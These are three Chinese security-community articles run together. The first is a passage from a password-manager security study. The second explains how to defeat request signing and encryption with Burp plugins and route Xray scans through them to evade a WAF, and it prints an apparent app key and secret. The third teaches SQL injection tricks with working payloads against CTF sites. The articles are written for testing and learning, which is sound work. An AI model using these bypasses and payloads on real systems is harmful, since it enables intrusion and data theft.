15.56），密码管理器仍会向用户提供此长度的密码，这些密码容易受到在线和离线攻击。在长度为12时，最弱的密码不再容易受到在线攻击，但仍然容易受到离线攻击。最终，最短的20位密码能够承受离线攻击。尽管这些弱密码的发生相对罕见（少于200个中的1个），但还是最好选择足够长的密码，以使随机的弱密码很可能能够抵抗在线和离线攻击。根据对这些结果的分析，长度为10可以抵抗在线攻击，长度18可以抵抗离线攻击。
## 0x05 Password Storage
密码存储是密码管理器生命周期的第二阶段。为了评估密码存储的安全性，手动检查了每个密码管理器创建的本地密码数据库，以查看哪些信息已加密和未加密，以及检查主密码的更改如何影响数据加密。结合了密码管理器维护人员的声明，客户端可用的选项以及密文格式，确定了如何进行加密。由于无法使用云数据库进行直接评估，因此专注于在本地系统上存储密码库。下表提供了此信息的概述。
### 1）密码库加密
基于应用程序和基于扩展的密码管理器均使用AES-256加密其数据库。这些系统都使用密钥派生功能（KDF）将主密码（MP）转换为可用于加密的加密密钥。
KeePassX和KeePassXC使用100,000轮的AES-KDF。除Dashlane之外，所有基于扩展的密码管理器都使用PBKDF2，只有RoboForm使用少于100,000轮。
Dashlane是唯一的密码管理器，它使用具有记忆力的KDF，Argon2D，进行了3个回合。虽然默认情况下未使用，但KeePassXC确实支持使用Argon2D代替PBKDF2的选项。
每个密码管理器对主密码的组成都有不同的要求。KeePass和KeePassX都允许对主密码进行任何组合，包括根本不使用主密码。基于扩展的密码管理器都需要主密码，但组成要求有所不同.LastPass，RoboForm和Bitwarden要求主密码至少应包含八个字符，但没有其他限制。
1PassWordX将最小长度增加到10，但是与其他三个相同。
OnlyDashlane具有构成要求，要求最小长度为8个字符，并且每个字符类（小写，大写，数字，符号）中的一个字符。
在基于浏览器的密码管理器中，只有Firefox处理其密码库本身的加密。它使用3DES加密密码数据，使用一轮SHA-1来导出加密密钥。它不对主密码强加任何策略。与处理自己的加密的其他密码管理器相比，Firefox是目前最弱的。
其余基于浏览器的系统依靠操作系统来帮助它们加密密码库。 Edge，Internet
Explorer和Safari都依赖于操作系统密钥环来存储凭据。对于Edge和Internet
Explorer，这是Windows保险柜；对于Safari，它使用macOS钥匙串。
Chrome和Opera还依赖于操作系统来加密密码，但是它们的操作方式因操作系统而异。在Windows上，CryptProtectData函数用于让Windows使用与当前用户帐户绑定的密钥来加密密码。在Linux上，这些系统首先尝试将密码写入GNOME密钥环或KWallet
4，如果这些钥匙串都不可用，则退回到以纯文本格式存储密码。在macOS上，虽然网站密码本身存储在本地而不是存储在钥匙串上，但是密码使用macOS钥匙串派生的密钥加密。
除Firefox外，基于浏览器的密码管理器均依靠操作系统来加密密码，因此不允许用户建立主密码。因此，无法单独锁定密码库和锁定帐户。尽管不在本文讨论范围之内，但还需要进行更多研究，以研究OS提供的加密功能和密钥链的安全性。
### 2)元数据隐私
与早期发现相比，发现基于应用程序和基于扩展的密码管理器在确保适当保护元数据方面有了很大的改进。
KeePassX和KeePassXC都加密所有元数据。基于扩展的密码管理器会加密大多数元数据，但是所有密码管理器都至少具有一个它们没有的项目。
1Password
X以明文形式存储扩展设置，从而使攻击者可以读取或修改设置。这些设置包括与安全性相关的设置，例如是否启用自动锁定，默认密码生成设置以及是否显示通知。
Dashlane加密网站URL时，不会加密与这些URL关联的网站图标，从而使攻击者可以推断用户拥有帐户的网站。所有基于扩展的密码管理器都会泄漏用于登录密码管理器的电子邮件地址。
依靠操作系统提供（Edge，Internet
Explorer，Safari以及Linux上的Chrome和Opera）的基于浏览器的管理器使用这些工具来保护所有相关的元数据。对于其他基于浏览器的密码管理器（Windows和macOS上的Chrome和Opera，以及所有操作系统上的Firefox），存在大量未加密的元数据。所有这三个密码管理器均以明文形式存储URL，只有Firefox会加密用户名。他们还提供有关创建帐户的时间，上次使用时间以及密码填充次数的信息。
## 0x06 Password Autofill
在评估过的密码管理器中，只有KeePassX不支持浏览器中的自动填充功能，而Bitwarden警告说其自动填充功能是试验性的。为了评估这些工具，开发了攻击网站。下表突出显示了本研究的一些发现。
### 1）用户互动要求
如果攻击者可以通过网络注入或XSS攻击来破坏网页，则他们可以插入恶意JavaScript，该JavaScript将在输入用户密码时窃取用户密码。如果密码管理器在没有首先提示用户的情况下自动填充密码，那么只需访问受感染的网站，用户的密码就会被秘密盗用。因此，理想情况下，应该在自动填充发生之前需要用户交互。在测试的密码管理器中，只有1Password
X和Safari在填写凭据之前始终需要用户交互。其余的密码管理器根据提供网站的协议（即HTTPS或HTTP）以及HTTPS证书是否有效而表现出不同的行为。
对于使用有效证书通过HTTPS服务的网站，KeePassXC，Bitwarden和RoboForm默认要求用户交互，但也允许禁用用户交互。尽管可以选择要求用户交互，但Dashlane，Lastpass和Firefox默认自动填充密码而无需用户交互。
Chrome，Edge，Internet
Explorer和Opera始终自动填充用户凭据。尽管可以选择要求用户交互（Dashlane，LastPass，Firefox）而不是缺少该选项（Chrome，Edge，Internet
Explorer，Opera），但实际上大多数用户（不太可能更改其用户）的结果是相同的默认选项）。
虽然在使用HTTPS的网站上仍然可以进行网络注入攻击（即TLS中间人攻击），但它们更容易实现，并且如果HTTPS证书无效，则更有可能。
HTTPS证书错误的原因包括良性（例如一天过期）到恶意（例如无效签名，已撤销）。在这两种情况下，密码管理器都应该完全拒绝填写密码，或者至少要求用户交互后才自动填写密码。如果证书无效，KeePassXC，Bitwarden，RoboForm，Dashlane，Lastpass和Firefox均会像使用有效证书一样起作用。
Edge和Internet Explorer都会更改其行为，并且始终需要用户交互才能获取错误的证书。
Chrome和Opera还会更改其行为，从而完全禁用自动填充密码的功能。
当使用不安全的连接（即HTTP）为网站提供服务时，网络注入攻击也更有可能并且更容易实现。与错误证书一样，密码管理者应拒绝自动填写密码或在填写密码之前要求用户互动。默认情况下，KeePassXC，Bitwarden和RoboForm仍要求用户互动，但允许用户禁用此要求。
Dashlane，LastPass，Edge和Internet Explorer都将其行为更改为始终要求用户交互，然后才能在HTTP网站上自动填充密码。
### 2）为iframe自动填充
无论是否需要用户交互，在iframe中自动填充密码都是特别危险的。例如，点击劫持可用于诱骗用户提供必要的用户交互以自动填充其密码，从而使攻击者可以窃取iframe中加载的漏洞网站（同源或跨域）的密码。更糟糕的是，如果跨域iframe允许自动填充并且不需要用户交互，则攻击者可以以编程方式收集所有网站的用户凭据，攻击者可以在其中执行网络注入或XSS攻击（通过将受感染的网站加载到iframe中）
。
对于点击劫持和收获攻击，用户必须首先访问一个恶意网站，然后该恶意网站才能发起攻击，但这通常并不是攻击者的主要障碍。在最坏的情况下，如果系统容易受到收割攻击，并且攻击者可以访问用户的WiFi接入点（例如，在酒店或机场），从而使他们可以轻松进行网络注入攻击，那么所有用户的凭据当用户查看受损访问点的网络登录页面时，可能会秘密地被盗。
KeePassXC，1Password X，Dashlane和LastPass在相同来源的iframe中自动填充，使它们容易受到点击劫持攻击。
Bitwarden和RoboForm也可以自动在相同来源的iframe中填充，但是如果需要用户交互，它们在很大程度上不受点击劫持的影响，因为这种交互发生在扩展下拉列表内的网站外部。所有浏览器都将使用相同来源的iframe自动填充。
KeePassXC确实允许跨域iframe自动填充；默认情况下，它确实需要用户交互才能在跨域iframe中自动填充，但可以禁用此要求，从而使KeePassXC容易受到上述收获攻击的攻击。在基于扩展程序的密码管理器中，1Password
X，LastPass和RoboForm不会在跨域iframe中自动填充。
Bitwarden和Dashlane会自动填充跨域iframe，但会自动填充最顶部窗口的域（即显示在网址栏中的域）的密码，从而防止攻击者窃取跨域凭据。
Chrome，Edge，Internet
Explorer，Opera和Safari都需要用户交互才能将密码自动填充到跨域iframe中，尽管这仍然使它们容易受到点击劫持攻击。
Firefox默认情况下，在将密码自动填充到跨域iframe之前不需要用户交互，因此默认情况下，它容易受到域捕获攻击的攻击。
### 3）不同于已保存表格的填写表单
密码管理器会检测用户何时在登录表单中手动输入密码，然后将其保存以供以后使用。当密码管理器稍后填写此密码时，它可以检查要填写的表单是否与保存密码时使用的表单相似（例如，相同的路径或协议）。这些类型的检查有助于确保用户以不妥协的形式输入密码，其安全性等同于他们首次保存密码时所使用的形式。不过，在许多情况下，更改表单仍然有意义-例如，密码已保存在注册表单中（即，不是登录表单）。
因此，如果密码管理器不允许填写表单或在填写表单与用于保存密码的表单之间存在差异时向用户显示通知，则给密码管理器加了一个全点。如果密码管理器在出现差异时需要用户交互，则给出半点，但前提是无法禁用此用户交互（在Bitwarden和RoboForm中可能如此）。请注意，1Password
X和Safari始终需要用户交互，因此始终收到至少半个点。在下面讨论的结果中，仅强调由于登录表单中的差异而导致密码管理器的行为不同。
密码管理器不会对提供表单的URL中的差异做出反应（除了检查域是否匹配之外）。如果密码保存在通过HTTPS提供的表单中，Chrome和Opera将拒绝将其填写在具有错误HTTPS证书的表单中，并且Edge和IE要求用户进行交互。如果改为通过HTTP提供表单，则1Password
X和Dashlane将警告用户，Chrome，Edge，Firefox，IE和Opera将拒绝填写密码。同样，LastPass将强制用户交互。
如果首次加载页面时，表单的action属性（密码将提交到的URL）存在差异，则KeePassXC，LastPass和Firefox将显示警告，而Firefox也拒绝填写密码。如果在页面加载后（即动态地）更改了动作属性，则KeePassXC和Firefox将显示警告，尽管与之前不同，Firefox会继续输入密码。密码管理器不会对方法属性中的类似差异做出反应。如果表单中的输入字段已被重命名或删除，LastPass将需要用户交互。
### 4）非标准登录字段
调查了密码管理器是否将用type =“ text”（而不是type =“
password”）填充表单字段，发现在这种情况下只有DashLane会自动填充密码。还检查了这些工具是否会自动填充最小表单（即非登录表单），该表单仅包含两个输入字段：文本字段和密码字段；在这种情况下，自动填充将减少攻击者收集凭据所需的工作。在这种情况下发现Bitwarden，Chrome，Edge，Firefox，IE和Opera都将自动填写这些非登录表单，而其余的浏览器仅在用户明确要求时才填写。
### 5）潜在缓解
建议使用一种更安全的自动填充形式来解决XSS漏洞，没有将密码填充到容易受到XSS攻击的网页上，而是将随机数作为密码填充到了网站中。当随机数即将通过网络传输到网站时，密码管理器将用真实密码替换随机数。这种方法使网页上的JavaScript无法访问用户的密码。此外，密码管理器可以检查密码仅发送到与该密码相关联的网站，并且密码表单没有提交到其他网站。
本研究检查了所有密码管理器以查看它们是否支持此功能，并发现它们均不支持此功能。在调查此功能时，尝试自己实施该功能，并发现浏览器不允许扩展程序修改请求正文，从而阻止了基于扩展程序的行为密码管理器利用这种更安全的操作模式。启用安全密码输入是浏览器可以做的工作，以改善Web上的身份验证，接下来将对此进行更深入的讨论。
查看当前的W3C规范，尚不清楚autocomplete属性是否应排除登录凭据的存储和自动填充。尽管规范确实指出“用户代理”不应填充标有自动完成功能的字段，但尚不清楚这是仅指主要用户代理（即浏览器）还是用户代理扩展（即密码管理器）。
Mozilla的文档还指出，为了支持密码管理器功能，大多数现代浏览器已明确选择忽略登录字段的autocomplete属性。这有助于解释为什么即使在先前的研究中，浏览器中对此属性有一些支持，也没有密码管理器当前遵循此参数。
### 6） Web Vault安全性和书签
在线密码库的安全性问题可能会放大自动填充问题。这些Web保险库既包括密码库的独立接口，又充当基于扩展的密码管理器的同步后端。例如，跨站请求伪造（CSRF）可用于更改与一组凭据关联的URL，从而允许自动填充所有用户凭据并从单个恶意域中窃取所有凭据。或者，可以使用Web
Vault上的XSS漏洞窃取其所有密码。
本文评估了五个基于扩展的密码管理器及其Web Vault后端，以查看它们是否已正确解决了潜在的CSRF和XSS攻击。发现1Password
X，Bitwarden，DashLane和LastPass使用CSRFtokens来防止CSRF攻击。
RoboForm似乎没有使用CSRF令牌，并且能够针对更改了会话超时参数的Web Vault发起CSRF攻击。无法找到其他CSRF攻击，因为Web
Vault似乎使用加密身份验证而不是Cookie来验证其他请求。
为了评估Web Vault对XSS攻击的敏感性，手动检查了每个Web Vault的内容安全策略（CSP）标头。评估结果未发现1Password
X或Dashlane的CSP政策存在问题。 Bitwarden的政策有两个小问题：script-src允许“self”，而object-src允许“self”和“ blob：”。 LastPass的策略允许在script-src中使用“ unsafe-inline”，从而为XSS攻击留出了很大的空间。
RoboForm的网站没有任何CSP策略。本研究确实尝试为LastPass和RoboForm制作XSS漏洞，但是由于两个站点都进行了广泛的输入清理，因此这些努力没有成功。无论如何，两个Web保管库都将从实施更严格的（或任何）CSP策略中受益。
最后，检查了基于扩展的密码管理器是否仍然具有易受攻击的基于书签的部署选项（用于支持移动设备）。发现除了LastPass之外，基于扩展的密码管理器不再支持基于书签的部署。取而代之的是，密码管理器依靠本机移动应用程序来处理移动设备上的密码管理。
LastPass的小书签可以在受保护的iframe中正确执行代码，并过滤发送给小书签的危险消息，从而解决了Li等人发现的问题类型。
## 0x07 Discussion
研究表明，与以往研究中这些类型的工具相比，基于应用程序和基于扩展的密码管理器得到了改进。通常，他们在解决特定漏洞方面做得很好：改进了对密码库中存储的元数据的保护，删除了（不安全的）小书签，限制了自动填充iframe的能力（防止了密码收集攻击）以及解决了在线密码库的Web安全问题。另一方面，与早期工作相比，它们在处理没有特定漏洞的区域时如何处理密码几乎没有什么变化：警告用户有关填写表单与保存密码的表单之间的差异或XSS缓解措施的实现。同样，基于浏览器的密码管理器在安全性和功能方面仍然大大落后于基于应用程序和基于扩展的密码管理器。
根据发现，建议用户避免使用Firefox的内置密码管理器。特别是，它的自动填充功能极其不安全，并且容易受到密码收集攻击的攻击。如果攻击者可以对用户（例如，控制WiFi访问点）发起网络注入攻击，那么该攻击者就很难窃取用户Firefox密码库中存储的所有凭据。希望这些问题将在Firefox过渡到Firefox
Lockbox密码管理器时得到解决。
KeePassXC浏览器扩展程序的用户还应确保他们在自动填充之前不禁用用户交互要求，因为这样做还会使客户端容易受到相同的密码收集攻击。
还建议用户避免使用基于浏览器的密码管理器，而应使用基于应用程序和扩展的密码管理器，因为后者通常具有更多功能，更安全地存储密码，并拒绝在跨域iframe中填写密码。
Safari的密码管理器是其中一个例外，它虽然缺乏良好的密码生成器，但却可以很好地存储密码并避免自动填充错误。
使用基于应用程序和扩展的密码管理器，仍然需要用户确保对其进行正确配置。在自动将密码填充到网站中之前，Dashlane和LastPass都不需要用户交互，并且Bitwarden和Roboform允许禁用此交互。如果禁用了用户交互，则访问受感染网站（例如，攻击者利用了XSS漏洞）的用户可能会在该用户的密码被盗的情况下不知道发生了这种情况。虽然这不像密码收集攻击那样糟糕（现在已由基于扩展的密码管理器阻止），但它仍然是用户无需了解或担心的漏洞。在研究的基于扩展的密码管理器中，只有1Password
X拒绝自动填充密码。
### 1）建议
**过滤弱密码：**
研究表明，密码管理器将随机生成可被在线或离线猜测攻击轻易破解的密码。这是密码生成的自然扩展，它实际上是随机的，即可以生成任何密码，即使它是带有通用替换的自然语言单词（例如，“
d @ rKn3s5”）或表现出重复的字符模式（例如，“’ +’+’+ _
+”）。尽管对于足够长的密码（对于在线抵抗而言，为10个字符，对于离线抵抗而言，为18个字符），这是极不可能的，但仍然可以实现。为解决此问题，建议密码生成器添加一个简单的过滤器，以检查生成的密码是否易于猜测（使用zxcvbn轻松检查），如果是，则生成替换密码。
**更好的主密码策略：**
密码管理器要求用户选择和管理主密码，希望如此，因为他们只需要一个密码，用户便可以选择足够强的秘密。如果用户未能选择好的主密码，特别是如果所选的主密码被在线攻击，那么密码管理器将成为该用户帐户的弱点。不幸的是，信任用户始终选择强主密码是有问题的：（1）用户不一定了解强密码的构成；（2）他们选择的密码可能具有独特的转换，但认为是通用的；（3）用户仍然可以选择简单的密码，因为它更方便。
由于这些原因，建议密码管理器对主密码的选择采取严格的要求，以防止用户将其密码管理器变成弱点。此外，密码管理者都应过渡到使用存储硬KDF来将主密码转换为加密密钥。
**安全的自动填充：**
如果网站受到XSS攻击，则无需用户交互即可自动填充凭据，这些凭据将处于危险之中。因此，建议密码管理器默认在自动填充密码之前要求用户交互。在可能的情况下，还建议您删除禁用用户交互的选项，因为用户不太可能了解将其关闭的含义。自动填充到相同或交叉来源的iframe中也很危险，因为它允许点击劫持攻击来规避用户交互要求。因此，建议您禁用iframe自动填充功能，否则，如果考虑将用户交互活动从网页移出浏览器（如Bitwarden和RoboForm所做的那样）不可行，则使点击劫持攻击变得更加困难。
### 2）未来工作
浏览器支持的密码管理器：当前，身份验证是浏览器中的第二级。未来的研究应检查浏览器如何更好地支持基于密码的身份验证，例如，使基于密码的身份验证接口成为浏览器实现的一流HTML元素，以确保正确处理密码。这可能包括为基于密码的身份验证提供通用的可识别界面，允许使用替代协议（例如，强密码协议），并防止恶意网站创建类似网络钓鱼的界面。
研究还应探索浏览器如何为密码管理器扩展提供附加功能，包括：（1）允许密码管理器生成现时随机数，以自动填充代替浏览器在以下情况下将其替换为密码的密码：目标域与密码管理器中与密码关联的域匹配；
（2）为密码管理者提供对系统密钥环（例如macOS密钥环，Windows Vault）的访问权限，从而为他们提供了一种更安全和标准化的机制来存储帐户凭据；
（3）处理自动填充的用户交互组件，并确保其具有抗点击性。 （4）添加描述网站密码策略的HTML属性，允许密码管理者生成将被网站接受的密码。
研究衍生的字符集：密码管理器使用不同的字符集生成密码，它们允许使用的符号以及将其删除为不可用的字符差异很大（例如，难以记住，难以区分）。提倡以数据为动力，努力建立标准化的字符集。
应进行用户研究，以识别用户难以阅读和输入的字符，并注意其他输入方式（例如，使用遥控器或可访问的键盘输入密码）。对现有密码策略的度量也可以用于识别网站密码策略通常拒绝哪些字符。可能是没有一个理想的字符集，而是针对不同类型的密码（例如，具有限制性策略的密码，以非键盘方式输入的密码）使用了不同的字符集。在这种情况下，可以使用统计模型来识别各种形式的密码的理想长度。
HTML支持的密码生成：建议添加HTML属性，以帮助密码管理员识别生成密码时要使用的策略，认为这种方法应引起更多关注。尤其值得一提的是，查看开发人员研究的可行性研究，以将该功能添加到现有网站中，并进行用户研究，以确保该功能易于理解并对用户有所帮助。值得一提的是，是否可以通过语义评估检查密码的代码来自动推断和添加此类注释。
移动端密码管理器：本文工作检查了桌面环境中密码管理器的安全性，考虑到移动设备的普遍性，有必要对移动密码管理器的安全性进行类似的分析。
## 0x08 Conclusion
媒体目前正在建议使用密码管理器，但用户在选择密码管理器时需要谨慎，并且还必须花费时间来确保他们了解如何正确配置它。正如经验所表明的那样，将这些责任推给用户很少会有预期的好结果。因此研究人员要继续评估密码管理器的发展进度，并且要努力继续提高密码管理器的安全性和可用性。 | 社区文章 |
### 场景
在金融银行类安全测试中，经常见到数据包加密、签名保护，这种业务不能直接进行有效的安全测试，修改数据包参数会重放失败，爬虫见到密文也是懵逼
### 测试套路
对于这种业务，不管是手工还是借助工具，需要先还原加密算法（或者签名保护算法）。知道了加密逻辑后，就可以开发burp插件完成明文状态下的安全测试，最后借助密文数据天然过waf的优势结合Xray等漏扫工具完成半自动的安全测试（逻辑漏洞还得需要手工测）。
笔者通过几个案例介绍这类业务的通用测试流程：常见加密算法分析流程、burp插件开发、联动Xray半自动化挖洞。
所以案例只是案例，读者不要纠结于这些案例中的加密算法，因为加密有很多组合形式。主要是通过本文介绍这类业务的通用测试方法，降低安全测试的人力成本
### 案例
常见签名的生成算法：sign = MD5( sort( 业务参数+时间戳+其他参数)
)，拼接业务参数+时间戳+其他参数，对字符串排序，计算字符串MD5作为sign。客户端和服务端使用相同的算法生成sign，服务端接收到请求后，先计算一次sign，如果业务参数、时间戳、其他参数中有一个被修改过，得到的sign就与客户端发送过来sign不一致，签名校验就会失败，不再处理请求
### 签名校验
1、不修改数据包，重放请求，此时可以正常响应
2、然后修改参数icon_type的值为11，再次重放，此时会提示"message":"sign
invalid"，请求中的api_sign是签名的值，需要知道api_sign是怎么计算出来的
3、用url参数作为关键字搜索，在js中定位api_sign，设置断点
4、刷新网页，停在了断点位置，单步步入进入函数内部,可以看到加入了两个参数app_key、app_pwd，然后单步往下走，参数c的值此时为device_id=069c8db0-af49-11ed-9a08-3b99f11ff116×tamp=1676725825997&session_token=G2de7f3ab78910b46ad8c07d6e25c627&app_key=f6aefd6691f04573bdf9e044137372bc，也就是所有url参数
5、继续单步走，进行了一次排序，c的值为app_key=f6aefd6691f04573bdf9e044137372bc&device_id=069c8db0-af49-11ed-9a08-3b99f11ff116&session_token=G2de7f3ab78910b46ad8c07d6e25c627×tamp=1676725825997
6、之后就是拼接字符串，app_key+"Oic"+app_pwd+"QeeeS99u3d"+c+app_key+app_pwd
7、得到的字符串为：
f6aefd6691f04573bdf9e044137372bcOic72e78efefe6b4577a1f7afbca56b6e28993c06ea4bb84cde8dd70e582dbc76cbQeeeS99u3dapp_key=f6aefd6691f04573bdf9e044137372bc&device_id=069c8db0-af49-11ed-9a08-3b99f11ff116&session_token=G2de7f3ab78910b46ad8c07d6e25c627×tamp=1676725825997f6aefd6691f04573bdf9e044137372bc72e78efefe6b4577a1f7afbca56b6e28993c06ea4bb84cde8dd70e582dbc76cb
8、最后获取这个字符串的MD5，就是签名api_sign的值
9、还原了api_sign的计算方式，就可以开发burp插件自动更新签名校验的参数api_sign
### 用burp插件自动更新签名
burp插件的接口开发知识不再单独介绍了，否则篇幅会太冗长，在文中数据包加解密和签名保护绕过这块，没有涉及到太多复杂的开发知识。插件的学习可以参考官方文档和官方的代码demo，代码量不算多<https://portswigger.net/burp/extender/api/index.html>
首先在processHttpMessage中，检查uri参数，移除原来参数api_sign
根据修改后的uri参数，使用已还原的api_sign生成算法得到新的api_sign
此时修改参数，重放请求后，插件会自动更新url中api_sign的值（ps：下面这两个截图是笔者随意找的测试站点，url参数也是自己加的，读者根据上下文理解意思即可）
在控制台查看更新的api_sign，此时修改请求参数做安全测试就不再受签名保护限制了
#### 数据包分段加密
一个H5应用，在微信可以正常访问，放到浏览器访问限制
修改一下User-Agent，修改为安卓或ios手机的UserAgent，再刷新页面后能正常访问
随便输入一个卡号后先抓个包看看
数据包都做了加密
任意修改一个密文字符，把第一个字符c改成1，服务端不能正常处理密文
直接发明文包不行，明文会被当成密文去解密
使用数据包的参数encryptData定位加密代码位置，展开js文件，搜索关键字；单击{}格式化js，方便阅读
单步步入调试进入pten函数，参数e是默认DES密钥
查看setMd5的入参，可以debug一行一行看
也可以将方法代码放到控制台查看
可以看到第一部分MD5的构造是原始参数json+DES密钥e，拼接后做MD5
setDES这部分是ECB模式，Pkcs7填充的DES加密，密钥是e
参数n是rsa加密DES密钥得到的密文，是一个固定值。最后返回MD5+splitStr+DES加密后参数+splitStr+rsa加密的DES密钥
splitStr是一个分割字符，用于将不同加密加密方式得到的密文分割开，服务端收到密文后，按splitStr分割密文，再逐段解密
拿到控制台看看是什么字符
也就是数据包中见到的\u001d
验证一下：解密中间部分的密文, 得到原始参数的json
ptde函数用于解密返回包的密文
单步步入getDESModeEBC函数，使用密钥e进行DES解密，没有其他处理
在线解密验证下
得到结论：
请求包的加密：MD5(原始参数+DES密钥)+”\u001d”+DES(原始参数) +”\u001d”+RSA(DES密钥)
返回包的解密：直接用DES密钥解密即可
### 分段解密
用正则获取两个\u001d中间的密文，
解密后在burp控制台打印，看看能不能正常解密
明文请求的body则加密后重新封包
这时候使用明文发包没问题了
使用IMessageEditorTab在burp中增加一个控件，用于获取解密后的完整请求包，在IMessageEditorTab中填入header和解密后的原始参数
先判断是否请求中包含参数encryptData
包含则说明是密文包，再启用控件，解密密文
点击“参数明文”控件，获取到了解密后的完整请求包，对明文参数进行安全测试，重放后插件会自动完成密文构造
对于变化的密钥，可以提供一个ui界面，在输入框设置密钥，rsa等动态变化的值
最后需要把返回包的密文也处理掉，由于在burp插件开发中返回包没有参数的概念，只能通过偏移获取body，解密后，用明文替换密文，再用IMessageEditorTab展示解密后的数据包
此时原始响应还是密文，因为客户端需要解密这个密文，IMessageEditorTab中明文只是展示作用，辅助安全测试，不会返回给客户端
encryptData中的密文被替换为明文展示，之后的安全测试就完全是明文了
### 自动BypassWAF 联动Xray
这也是数据包加密给安全测试人员的彩蛋吧，数据包加密有一个好处：天然对waf等态势感知设备免疫，自带绕过属性：
明文的payload会被waf识别
如果直接扫描原始请求，会触发WAF拦截
加密后waf没法再识别，如果还原了加密算法，也就间接的绕过了waf（但是，除了前置的waf，应用程序自身也会对参数做合法性校验）
控制台打印加密的payload
于是可以结合漏扫工具做半自动的安全测试（逻辑漏洞还是需要手工测试），示意图如下
1、burpA中联动Xray
2、开启联动Xray的开关
3、这个开关用于控制是否对明文请求包做加密，在联动Xray时，需要给Xray明文包，所以开启后从burpA重放的明文请求包不做加密，直接给Xray去做payload构造
4、设置Xray的代理
5、burpB作为Xray的代理
6、将插件代码拷贝一份，打包为另一个插件，作为联动Xray的专用插件。其他代码不用动，只修改BurpExtender.java中processHttpMessage方法代码：只处理经过Proxy的http流量，做两件事：加密请求body，解密响应body
7、启动Xray监听127.0.0.1:7777, 在burpA的Repeater中重放明文请求包
8、Xrays收到burpA的明文请求，在明文包构造payload，开始扫描，从Xray日志可以看到，未触发WAF
9、burpB收到Xray的明文请求，加密请求中明文中包含payload的body再发给服务端，扫描器能正常工
10、查看控制台打印的密文body：
11、burpB解密响应的密文body后返回给Xray，从状态码和返回包可以看到未触发WAF拦截，Xray再根据明文响应包内容判断是否存在漏洞 | 社区文章 |
## 前言
继续对SQL注入进行一个总结以及学习，本文目录如下：
* SQL约束攻击
* order by后的注入
* insert、update、delete后的注入
* http分割注入
* desc相关问题
* 万能密码
* \N问题
唔，新姿势不多，望各位师傅莫怪
## SQL约束攻击
SQL约束攻击并不是一种很新颖的攻击方式，它的成因是因为在处理SQL中的字符串时，字符串末尾的空格字符都会被删除。换句话说，“lengyi”与“lengyi
”几乎是等效的，这在大多数情况下是正确的，例如WHERE子句中的字符串或INSERT语句中的字符串。例如，以下语句的查询结果，与使用用户名“lengyi”进行查询时的结果是一样的。
select * from student where name = 'caocao ';
等同于
select * from student where name = 'caocao';
本地可以看下效果
我们以一个题目来看一下，题目地址：
<http://123.206.31.85:49163/>
这是一道很典型的sql约束攻击的题目
我们可以注册一个如
账号：admin[多个空格]
密码：random_pass
那么我们在登录的时候就相当于执行了
select username from users where username='admin' AND password='random_pass';
虽然我们查询的是我们自己的用户名，但是返回的却是目标的用户名，这样就达到了越权的目的
## order by后的注入
常见的order by注入一般会使用报错、布尔、时间进行注入
一个典型的报错注入如下
select * from student2 order by updatexml(1,concat('~',(select version())),'xxx');
在说 order by 注入之前我们先来看两条SQL语句
select 2|3;
select 2&3;
为什么会出现这种结果呢？这是因为SQL中的位运算符的比较，其实是2和3的二进制的比较，即10和11进行|还有&运算，那么就会得到刚才的结果
理解完这个之后我们继续进行order by后的测试
我们还是先来看两个语句
select * from student2 order by id|1;
select * from student2 order by id|2;
那么为什么会出现这种效果呢？
我们再来看一下另外的两条语句
select id from student2;
select id|2 from student2;
效果如下：
其实它的过程是这样的
1 2 3
001 010 011
010 010 010
011 010 011
3 2 3
即取出的id的值和2进行了一次或运算，这样也就能明白刚才
select * from student2 order by id|2;
这条语句的结果了
那么这也就意味着我们的2这个位置是可以控制的了，也就可以进行注入了
题目地址：<https://chall.tasteless.eu/level1/index.php>
页面是由一大堆的排序字符组成的，给出了提示：hint: table level1_flag column flag 即表名和列名
因为没有传参的地方，fuzz得到参数为dir（后来才知道原本的url应该为<https://chall.tasteless.eu/level1/index.php?dir=）>
因为知道是order by注入，所以尝试desc和asc，发现页面果然产生了变化
然后我们又知道order by后面的注入可以使用|进行测试
<https://chall.tasteless.eu/level1/index.php?dir=|2>
果然页面发生了变化，此时我们的思路就出来了
> <https://chall.tasteless.eu/level1/index.php?dir=|(注入语句)+1>
因为这时候当语句为真时，+1=2则页面返回与之前不同，以此来判断每个值，这里我选择使用正则注入，最后构造的SQL语句为
> |(select(select flag from level1_flag)regexp '正则')+1
当然这样的过程是十分无聊而又缓慢的，这个时候我们可以去写一个简单的脚本来实现它，这里本人就不去显露我那可悲的py功底了...
## insert、update、delete后的注入
insert 后的
insert into student values(3,'attack'or updatexml('anything',concat('~',(select user())),'ll'),'test');
或者将语句插入到数据库中，则查询时显示
delete或update同理
题目地址：
<https://chall.tasteless.eu/level15/index.php>
这个一个很经典可以对数据库进行操作的题目
用户名和文本的输入会插入到数据库里面，然后进行一个查询输出，后端的数据库语句可能为
insert into (name,text) values ('','');
那么我们一般的思路就是我们可以闭合前面的引号，然后注释掉后面的内容，可是这里有一个很头疼的问题就是单引号被过滤了，但是我们可以使用\进行把引号去掉，那么这个时候后面的引号就会和前面的引号产生闭合，此时我们再增加一个,加我们的语句，最后我们后端的数据库语句就变成了
insert into (name,text) values ('\'',select version()#)
所以最后构造的payload如下：
\
,(select flag from level15_flag))#
## http分割注入
我们一般的SQL语句一般是where username='???' and password='???' 而sql语句中可以使用/
**/注释掉中间的SQL语句。也就是说，我们可以使用/** /来解决某些问题，而且/**/也没有被吃掉，这叫做HTTP分割注入。
题目地址：<http://ctf5.shiyanbar.com/web/baocuo/index.php>
因为此类问题比较简单，直接给出payload
select * from users where username=''or extractvalue /*' and password='*/(1, concat(0x5c,(select database()))) or''
## desc相关问题
我们先来看下desc的相关介绍
也就是说在表名后面可以跟列名或者是正则表达式，这样我们可带入我们的sql注入语句
题目地址：<http://web.jarvisoj.com:32794/>
访问以下页面拿到源码
<http://web.jarvisoj.com:32794/index.php~>
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
语句很简单，这里不在多说
唯一值得注意的就是
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
echo $ret[0];
在
mysql是作为保留字符的，连续的两个反引号相当于一个空格，而且desc支持两个参数，那么我们就可以尝试注入了，又因为在第二句为了输出我们想要的，需要查询的第一部分失效
最后构造payload：
test` ` where 1=2 union select 1
那么本来的语句就会变成
desc `secret_test` ` where 1=2 union select 1`
select 'flag{xxx}' from secret_test` ` where 1=2 union select 1
最后得到flag
